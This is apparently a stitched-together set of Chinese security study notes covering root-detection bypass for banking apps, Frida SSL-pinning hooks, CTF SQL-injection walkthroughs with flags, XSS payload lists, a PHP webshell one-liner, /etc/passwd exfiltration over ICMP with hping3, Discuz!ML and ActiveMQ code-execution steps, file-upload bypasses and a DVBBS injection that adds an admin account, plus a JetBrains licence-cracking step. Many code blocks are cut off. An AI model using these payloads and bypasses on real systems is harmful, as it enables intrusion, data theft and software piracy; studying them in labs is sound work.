· 已root的安卓机(小于Android 10)
· adb —— 用于调试Android设备
· Frida —— 用于对apk内的部分验证代码进行Hook
· Burpsuite —— 用于抓包
· OpenSSL —— 用于生成证书及转换证书格式
· HTTPDecrypt —— 用于利用HTTP协议 远程加解密数据包
· Magisk —— 绕过银行app对root的检测
· 设置中打开MagiskHide,并具体设置对应app
· 设置中选择隐藏Magisk应用
· 新版Magisk取消Magisk Hide功能
选择在Zygisk中运行,并在配置排除列表中选择对应APP(Zygisk和Riru冲突,但Zygisk并不能作为magisk Hide的替代,Magisk依旧会被程序检测到)
*不要升级Magisk 人会变得不幸(现版本23.0)· Riru的安装https://github.com/RikkaApps/Riru/releases
在magisk的本地安装中刷入zip包并重启
· LSPosed的安装https://github.com/LSPosed/LSPosed/releases
在magisk的本地安装中刷入zip包并重启
安装压缩包内的manager.apk->成功激活模块
· Hide-my-applist的安装 https://github.com/Dr-TSNG/Hide-My-Applist/releases/tag/V2.2.4
安装后LSPosed处启用模块,只勾选系统框架->成功激活模块
在程序内选项下载magisk插件并给予root权限重启->系统模块运行
将LSPosed卸载并重启,根据提示添加LSPosed快捷方式到手机桌面->绕过对LSPosed的包检测
模板管理处设置黑名单,将需要root权限的软件全部勾选,在选择生效应用中选择银行app和测试app 进行检测
Tips:生效后强制停止目标软件并重新进入
· Enhanced mode for Magisk Hide的安装 https://github.com/vvb2060/riru-unshare
在magisk的本地安装中刷入zip包并重启
->至此 实现目标软件对检测的绕过
*导出apk
1 | adb shell |
*将导出的apk后缀改为zip格式解压,在assets等资源目录未找到后缀名为p12/pfx/pem等的证书文件(推测APP证书写死在代码里)
*Apk导入JEB(邦邦加密secneo)
*安装Frida 因为工具对版本要求 安装15及以上版本的Frida及对应Frida-tools
1 | 电脑端安装 |
*下载对应frida-server并安装,注意版本号对应:
https://github.com/frida/frida/releases
*下载后进行解压,解压后的文件重命名为frida-server并复制到手机
1 | 手机端安装 |
*另起一个cmd窗口 frida成功启动
1 | 电脑端操作 |
*使用脚本hook JAVA固定的加密类
1 | 电脑端操作 |
3个脚本
· hook.js:
请求-hook加/解密,在请求数据加密前send到python脚本
返回-hook加/解密,对返回数据进行解密send到python脚本
· tracer.py:开启http服务 获取返回数据
· frida_hook.py:加载脚本,获取信息,修改返回数据格式
1 | hook.js |
1 | tracer.py |
1 | frida_hook.py |
· 已root的安卓机(小于Android 10)
· adb —— 用于调试Android设备
· Frida —— 用于对apk内的部分验证代码进行Hook
· Burpsuite —— 用于抓包
· OpenSSL —— 用于生成证书及转换证书格式
*配置burp(在个人电脑上操作)
*手机上配置wifi(在手机上操作)
手机上连接与电脑同一网段的wifi
*导出Burp证书
Android 7.0+不再默认信任个人安装的证书。因此需要root手机后,将我们的根证书安装到系统内:假装是个系统自带的证书。
*电脑端操作为手机安装证书
1 | openssl x509 -inform DER -in cacert.der -out cacert.pem #导出的der证书转换为pem格式 |
某些情况下,Burpsuite导出的证书无法满足我们需求;或是出现无法抓包的玄学问题:考虑生成一个自签名证书导入Burpsuite。
*生成自签名根证书
1 | mkdir certificates && cd certificates |
*把自签名证书导入burp
在Burp内导入自签名证书后,挂上Burp的代理访问,Burp会自动使用我们刚才生成的根证书签发当前域名的证书。证书的签发者信息就是我们刚才在openssl req内所填写的。接着,我们需要让手机信任我们刚才签发的CA。
*直接在手机上安装我们刚才生成的CA证书
*再使用adb将其转移到系统证书存储区
1 | adb shell |
某些敏感接口的服务端会验证客户端是否合法。
需要在Burpsuite内导入客户端证书。
HTTPS双向认证流程:C->S:发送相关连接信息
S->C:返回包含服务器公钥的证书
C->S:使用服务器公钥加密自己支持的加密方案,并将包含客户端公钥的证书一并发给服务器
S->C:使用客户端公钥加密自己支持的加密方案,并用双方的加密方案生成随机数R,加密后返回客户端
C->S:双方开始使用这个R来通信
*导出apk
1 | adb shell |
*修改.apk后缀为.zip并解压
*从assets等资源目录找到后缀名为p12/pfx/pem等的证书文件
*如果是p12类型,可将其直接导入Burpsuite。(可能需要密码 通用123456)
*获取安装证书的密码
将apk拖入 jeb 搜索证书文件(本例为client.p12),或是PKCS12等关键字符。
· 某些客户端也会验证服务器证书是否是指定的证书。
· 除逆向直接删除这部分逻辑外,更简便的方法是,使用Frida对客户端进行Hook,让客户端的所有验证都能通过。
· 使用Frida的优势在于不用逆向,基本上针对大部分此类App都是可用的。
*安装Frida
1 | 电脑端安装 |
*下载对应frida-server并安装,注意版本号对应:
https://github.com/frida/frida/releases
*下载后进行解压,解压后的文件重命名为frida-server并复制到手机
1 | adb push firda-server /data/local/tmp #将frida-server放到手机的这个目录下 |
*另起一个cmd窗口
1 | frida-ps -U |
*使用Frida加载脚本,绕过服务端证书校验
*先保存为.txt格式 另存为.js 并选择编码UTF-8
1 | function AndroidMain(){ |
目录遍历工具:disearch
.git文件恢复工具:GitHack
1 | git log |
svn泄漏/hg泄漏工具:dvcs-ripper
1 | <?php system('ls /');?> |
1 | echo "<?php @eval(\$_POST['a']);?>" >> shell.php |
1 | file:/// |
file:///var/www/html/flag.php //查看源代码
dict://127.0.0.1:$port$ //结合burp扫码端口
windows的用户标识:SID
1 | administartor:500--0x1f4 |
C:\windows\system32\config\SAM
HKEY_LOCAL+MACHINE\SAM\SAM\Domains\Account\Users\Names
查看用户SID:whoami/user
查看组SID:whoami/groups
查看用户特权:whoami/priv
查看服务SID:sc showsid server_name
用户克隆:把管理员F值赋值到普通用户上
信道保护:记时 存储
hping3 ip_address -d size –icmp –file /etc/passwd //利用icmp信道传输/etc/passwd文件
知其所需,最小特权
日志:系统日志/设备日志/web日志/监控日志
系统system:
1 | 1074,查看计算机的开机、关机、重启的时间以及原因和注释。 |
安全Security:
1 | 4624,表示成功登陆的用户,用来筛选该系统的用户登陆成功情况。 |
Windows认证:
本地认证:GINA-LISA-SAM-用户数据
远程认证:SMB-LM-NTLM-Keyberos
访问控制:(授权)
ACL:访问控制列表
CL:访问能力表
主体:发起访问者
客体:被访问者
权限:主体对客体的操作能力
NTFS权限:(ACL和ACE)
仅NTFS支持
权限累计和继承
文件权限高于文件夹权限
移动和复制对于权限的影响
拒绝权限优先
特殊权限:
读取权限
修改权限
取得所有权
Windows特权管理:User Account Control
完全访问令牌
标准受限访问令牌
windows默认日志:
security.evtx
system.evtx
application.evtx
关闭默认共享:
1.关闭临时共享:net share shared_name /del
2.永久关闭共享:net stop server
3.修改注册表:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parametes
建立IPC连接:net use \ip\ipc$ //输入用户名和密码
建立默认共享映射:net use k: \ip\c$ //映射不存在的磁盘
关闭防火墙指令:
1 | Win10: |
新建用户:net user username new_passwd /add
用户加入管理员组:net localgroups administartors username /add
修改文件权限:cacals 文件路径 /G everyone:F
(WRCF) /echo y|cacals 文件路径 /G everyone:F
内网渗透:
Active Directory:活动目录
安装域控制器条件:
1.静态IP地址
2.最少一个NTFS文件系统
3.管理员权限
4.操作系统版本支持(server2008及以前系统:dcpromo/2012及以后系统:先安全角色,再提升为dc)
5.DNS支持
域基本概念:
更新组策略:gpupdate /force
域授权规则:AGDLP
组的作用域:
全局组:作用到全林
通用组:作用到全林,存放在GC中
本地域组:
组策略应该顺序:冲突(后覆盖前)/不冲突(累加)
TCP_Wrappers:仅支持TCP协议
TCP_Wrappers配置文件
/etc/hosts.allow
/etc/hosts.deny
Liunx账号:UID/GID
Linux用户ID:
root:0
系统和程序用户:1-999
普通用户:1000开始
Linux设置权限工具:
chmod
chown
setfacl
chattr
Linux默认权限设置:umask(默认值为0022)
Linux文件类型:
-:file
d:directory
s:sockets
p:pipe
l:link
c:character
b:block
rw- r– r–
owner group other
Linux日志:/var/log
message:系统日志
dmesg:内核日志
boot.log:启动日志
该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。
1 | wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar |
fileserver支持写入文件(但不解析jsp),同时支持移动文件(MOVE请求)。所以,我们只需要PUT写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件写入漏洞。
1 | docker ps //查看端口 |
1 | <% |
1 | 1./opt/activemq/webapps/api |
1 | wget http://download.redis.io/releases/redis-3.2.11.tar.gz //下载redis |
*报错1:gcc:命令未找到
yum install gcc-c++
*报错2:You need tcl 8.5 or newer in order to run the Redis test
wget http://downloads.sourceforge.net/tcl/tcl8.6.1-src.tar.gz
sudo tar xzvf tcl8.6.1-src.tar.gz -C /usr/local/
cd /usr/local/tcl8.6.1/unix/
sudo ./configure
sudo make
sudo make install
*报错3:致命错误:jemalloc/jemalloc.h:没有那个文件或目录
make MALLOC=libc
1 | 靶机: |
1 | 攻击机: |
*报错1:No route to host
靶机设置:
firewall-cmd –query-port=6379/tcp //查看6379端口是否对外开放
firewall-cmd –add-port=6379/tcp –permanent //开放6379端口
systemctl status firewalld //重启防火墙
firewall-cmd –list-ports //查看开放端口
1 | 靶机: |
1 | 攻击机: |
1 | ps aux //查看进程 |
1 | #目录信息: |
1 | nginx -t |
访问127.0.0.1/1.php
payload:<script>alert(1)</script>
payload:"><script>alert(1)</script>
payload:' onmouseover='alert(1)
payload:"onmouseover="alert(1)
payload:xxx"><a href="javascript:alert('test')">link</a>
payload:111"><SCRIPT>alert(1)</SCRIPT>
payload:xx" oonnmouseover="alert(1)
payload:javascript:alert(1)
payload:javascript:alert(1)//http://
payload:?t_sort=" onclick="alert(1)" type=
1.查看泄漏目录python3 dirsearch.py -u http://challenge-ff56d3fec964fb86.sandbox.ctfhub.com:10080/
2.robots.txt
flag1_is_her3_fun.txt
3.index.php~
4..index.php.swpcat index.php.swp
flag:n1book{info_1s_v3ry_imp0rtant_hack}
1../scrabble http://challenge-d044af84600c5d27.sandbox.ctfhub.com:10080/
1.index.php?id=-1'union select 1,2,3%23
2.index.php?id=-1'union select 1,database(),3%23
3.index.php?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='note'%23
4.index.php?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='note' and table_name='fl4g'%23
5.index.php?id=-1'union select 1,fllllag,3 from note.fl4g%23
flag:n1book{union_select_is_so_cool}
1.输入URL:login.php?tips=1
在输入框输入数据并抓包
2.name=1111'and updatexml(1,concat(0x7e,(selselectect(group_concat(table_name))from information_schema.tables where table_schema=database()),0x7e),1)#&pass=1111
3.name=1111'and updatexml(1,concat(0x7e,(selselectect(group_concat(column_name))from information_schema.columns where table_schema=database() and table_name='fl4g'),0x7e),1)#&pass=1111
4.name=1111'and updatexml(1,concat(0x7e,(selselectect(flag) from fl4g),0x7e),1)#&pass=1111
flag:n1book{login_sqli_is_nice}
1.?p=php://filter/read=convert.base64-encode/resource=flag
2.base64解码
flag:n1book{afr_1_solved}
1.http://challenge-5f90db2d4f54200e.sandbox.ctfhub.com:10080/img../
flag:n1book{afr_2_solved}
1.访问id=1
2.访问id=1
‘,返回内容与1不同
3.访问id=1 and 1=1
,返回内容与1相同
4.访问id=1 and 1=2
,返回内容与1不同
=》判断存在注入
5.访问id=1 order by 1(1-99)
,直到返回内容与1不同(例:字段数为3)
6.访问id=1 union select 1,2,3
,返回内容与1相同(代码只返回第一条结果)
7.访问id=-1 union select 1,2,3
,返回union select结果(例:返回2:3,即2,3间可插入mysql语句)
###
#库表字段(需记忆)
1 | 库:information_schema |
8.访问id=-1 union select 1,database(),3
(例:返回sql)
9.访问id=-1 union select 1,(select table_name from information_schema.table where table_schema='sql' limit 0,1),3
(例:返回email,调试[limit1,1]返回referers)
10.访问id=-1 union select 1,(select column_name from information_schema.columns from where table_schema='sql' and table_name='emails' limit 0,1),3
(例:返回id)
11.访问id=-1 union select 1,(select id from sql.email limit 0,1),3
漏洞类型:代码执行漏洞
影响系统及版本:Discuz!ML V3.2-3.4
漏洞原因:Discuz!ML 系统对cookie中的l接收的language参数内容未过滤,导致字符串拼接,从而执行php代码。
1 | GET /Discuz/upload/forum.php HTTP / 1.1 |
1.在PoC的代码中填充’.1.’使得代码出错,定位出错代码文件:
2.报错点1:portal.php 第35行,
紧接着定位libfile函数,文件加载路径函数(command+B)。该函数读取source目录下的$folder子目录作为基础部分。
该函数读取source目录下的$folder子目录作为基础部分,realpath函数为返回绝对路径函数,DISCUZ_ROOT为定义网站根目录的常量。
=>原因是系统因为找不到一个php文件而报的错。
3.报错2:source/moudle/portal_index.php
第32行
定位template函数,文件加载路径函数/source/function/function_core.php
(command+B)。该函数作用也是调用模版。
程序将缓存文件写在了/data/template/
目录下,文件名由DISCUZ_LANG等多个变量组成,追溯DISCUZ_LANG的输入为$_config['output']['language']
继续跟进该值(command+shift+F)
=>DISCUZ_LANG值为Cookie中获取到的language($lng),未设置过滤
4.总结
1 | 1.从cookie中获取了language的值(可控) |
抓包并在在language参数处’.phpinfo().’
Discuz!ML 3.x任意代码执行漏洞之大佬分析之后我分析
https://www.freebuf.com/vuls/208457.html
Discuz!ML V3.X代码注入复现与原理分析
https://museljh.github.io/2019/07/15/Discuz!ML%20V3.X%20%E4%BB%A3%E7%A0%81%E6%B3%A8%E5%85%A5%E5%A4%8D%E7%8E%B0%E4%B8%8E%E5%88%86%E6%9E%90/
Discuz!ML V3.X 代码注入分析
https://mp.weixin.qq.com/s/5Zl3Jve4eblNIXh30t469w
1.自定义.htaccess上传
1 | <FileMatch “test.jpg”> |
2.同目录下上传保存为jpg格式的一句话,成功绕过限制
例:设文件包含代码为:
1 | <?php |
%00无法截断,只能包含xxxx.html.php
1.新建一个hello.html.php,内容为phpinfo();
2.压缩成zip
3.访问网址[http://localhost/test/blog.php?file=zip://test.zip%23hello],成功包含压缩文件内的hello.html.php
0x00截断,00截断是将上传文件名或路径名中使用ascll码值为0的字符(也就是null)来进行截断
1.BP抓包
2.在/Upload/后面加一个空格,点开hex,将其对应的20改成00即可,就可以绕过后缀名的过滤,从而得到webshell
%00一般用在URL中用于截断url来进行文件包含
1.BP抓包
2.在filename后面加%00.jpg,先绕过后缀上传,然后利用burp的urldecode功能,其实和/00截断将hex20变成00一样,效果一样,两种方法都可以拿webshell
1.上传一个包含创建webshell的脚本,在文件解压到被删除到时间差内访问webshell
2.构造压缩文件,成功解压部分文件,在解压未未完成时出错,不执行删除程序
a)上传含png
,php
文件的压缩包,在上传时抓包。使用”Paste from file“将压缩包放入请求数据包中,并修改最后一个PHP文件的hex值=>成功解压部分并查看被解压的目录
b)发现未指定解压目录,构造含有png
,php
文件的压缩包,用notepad++将xxx.php
修改为../xxx.php
,通过BP上传,成功在上级目录下创建一个xxx.php
镜像地址:
ed2k://|file|[红帽企业Linux.6.4.服务器版].rhel-server-6.4-x86_64-dvd[ED2000.COM].iso|3720347648|542c0277eff8b86b7f0c18358df84702|h=hzclqmdk4re2o4pi5hzr5hpvnu5o4iij|/
(复制到迅雷打开)
PS. 用VMware安装时,显示网络连接错误,将虚拟机选项中的网络适配器选择为桥接模式
1.编辑/etc/login.defs
修改PASS_MIN_LEN
参数(最小口令长度) 具体修改代码:
1 | su - (提升权限) |
2.编辑/etc/pam.d/system-auth
修改password requisite pam_cracklib.so try_first_pass
local-only retry authok_type中的retry
参数值(错误登录锁定次数)
3.
4.
5.
具体修改代码:
1 | passwd -f gdm |
1.
2.
3.
1.
2.
1.1 ping检查主机是否在线
例:ping -c 5 -s 2000 192.168.1.3
发送五个大小为2000的字节包到目标主机
1.2 arping测试特定IP在网络中是否在线
例:arping -c 5 192.168.1.3
发送四个ping数据包到目标主机
1.3 hping发送数据并监听返回数据包
例:
1 | hping3#进入TCL脚本交互式界面 |
1.4 nbtscan扫描ip地址获取目标NetBIOS名字信息
例:nbtscan 192.168.1.3
获取目标NetBIOS名字信息nbtscan -hv 192.168.1.3
查看目标主机运行服务
1.5 nping 支持多协议并允许用户设置设置网络报文格式的探测工具
例:nping -c 2 -p 80 --flags syn 192.168.1.3
向目标主机80端口发送2个带SYN标志的TCP数据包
访问网站[http://idea.lanyus.com/]复制注册码
将“0.0.0.0 account.jetbrains.com”添加到hosts文件中
1 | /usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)" |
1 | brew install node |
1 | hexo s |
出现报错:
尝试安装hexo-renderer-sass
1 | sudo npm install hexo-renderer-sass |
成功安装后依旧报错
更换cnpm源 并尝试国内主流解决方案
1 | sudo npm i cnpm -g --registry=http://registry.npm.taobao.org |
成功解决
问题的原因是node和hexo插件的版本…在node8.x的版本中,fs.SyncWriteStream被弃用
但是admin插件真的很好用(x 而且截图插入也很方便
所以依旧默默忍受着这行报错…
安装2.7和3.6的情况下 没有pip3
brew reinstall python3 --with-brewed-openssl
然而下载完毕后pip3的版本过低 按照提示更新sudo pip3 install --upgrade pip
然而满屏报错…
另一种方法附上
https://pip.pypa.io/en/stable/installing/
卸载重装brew uninstall python3
brew install python3
再次更新pip3sudo -H pip3 install --upgrade pip
更新成功
pip -V
pip3 -v
显示结果全部指向python3.6
修改pip指向:which pip
回显 /usr/local/bin/pipsudo vim /usr/local/bin/pip
将python后修改为2.7版本
按esc后输入:wq保存
1.1 Nmap端口扫描
1.2 通过web访问端口 若可以访问 再用对应脚本扫
1.3 进行poc攻击
命令行:whoiam/ls
2.1 扫描目录存在.svn
2.2 尝试访问/.svn/entries
2.3 使用Seay_svn 可将网页全部源码download
1.1基本使用new scan
创建新的任务网站 默认next无需修改
1.2高级使用
site crawler
爬虫功能,遍历站点目录结构 点击在tool
中的site crawler target finder
端口扫描,找出web服务器 点击在tool
中的target finder
(目标服务器http端口)
2.1 扫描后寻找类似于admin login 点击寻找后台登陆
3.11 单击文件——》新建
3.12 选择常规扫描(不必勾选启动扫描配置向导
)
3.13 选择web程序扫描
3.14 输入URL 勾线仅扫描此目录下链接
3.15 默认登陆方法:记录
3.16 弹窗选择是
3.17 测试策略选择默认default
3.18 选择启动全面自动扫描
3.19 自动保存对话框中 选择是
3.20 扫描完成后 点击应用建议
3.21 点击报告 导出生成pdf格式文档
4.1 输入框万能密码注入
username=username
password=2’or’1[Select user_id,user_type,email from Where user_id='username' And password='2']
or['1']
恒为True
5.1 例:注册新用户
username=san
password=123456
5.2退出用户 在登录框输入san'and'a'=a
即['password=san']
and['a'='a']
判断相等
5.3 在登陆框输入san’and’a’=’b
即[‘password=san’]and[‘a’=’b’]
不等 判断用户名不存在
5.4 输入提权san'and'a'='b';update dv_user set usergroupid=1 where username='san'--
重新用正确的用户名密码登陆,此时已是前台管理员身份
5.5 退出用户 在登录框输入san';insert into dv_admin (username,password,flag,adduser) values('san','49ba59abbe56e057','1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45','san')--
密码输入为正确密码 49ba59abbe56e057为12345的cmd16位密文
打开后台管理员界面 用正确的用户名和密码登陆 可以成功登陆
6.1 在[.asp?id=xxx(数字任意)]
后加语句[']
(错误)[and 1=1]
(成功)[and 1=2]
(错误)
判断是否存在注入点
6.2 连接末尾添加and exists(select * from admin)
猜解表名admin
6.31 连接末尾添加and exists(select admin from admin)
猜解列名admin
6.32 同样连接末尾添加and exists(select password from admin)
猜解列名password
6.41 连接末尾添加and (select top 1 len (admin) from admin)>1
admin>x x数字依次增加直到可以正常访问,字段长度即为x
6.42 同理连接末尾添加and (select top 1 asc(mid(admin,1,1))from admin)>97
可以正常访问
可知第一条记录的第一位字符ASCII码为97 对应a
*asc(mid(admin,1,1)) 即从第一个开始,取admin字符串中的一个字符
7.1 在[.asp?id=xxx(数字任意)]
后加语句order by xxx
(数字任意) 根据页面返回结果判断站点中的字段数目 若xxx=n时不能访问,字段数目即为n-1
7.2 例:在连接后面添加union select 1 ,2,3,4,5,6,7,8,9,10,11 from admin
【案例的网站字段数目为11】 页面显示2,3
7.3 在连接后面添加union select 1 ,admin,password,4,5,6,7,8,9,10,11 from admin
即可爆出管理员用户名和密码
8.11 输入[1]
有回显 说明此处为注入点
8.12 输入[""]
返回错误
8.13 猜测数字类型注入 输入[1 or 1=1]
尝试遍历
8.14 猜测程序将此处看成了字符型 输入[1' or '1'='1]
成功遍历
8.15 输入1' order by 1 --
(*–后有空格) 依次增加 到3到时候报错 即判断查询结果值为2例
8.16 参数注入1' and 1=2 select 1,2 --
9.1 文本框存在字数限制
用注释的方式绕过
提交*/</script>
再提交<script>alert(/xss/)/*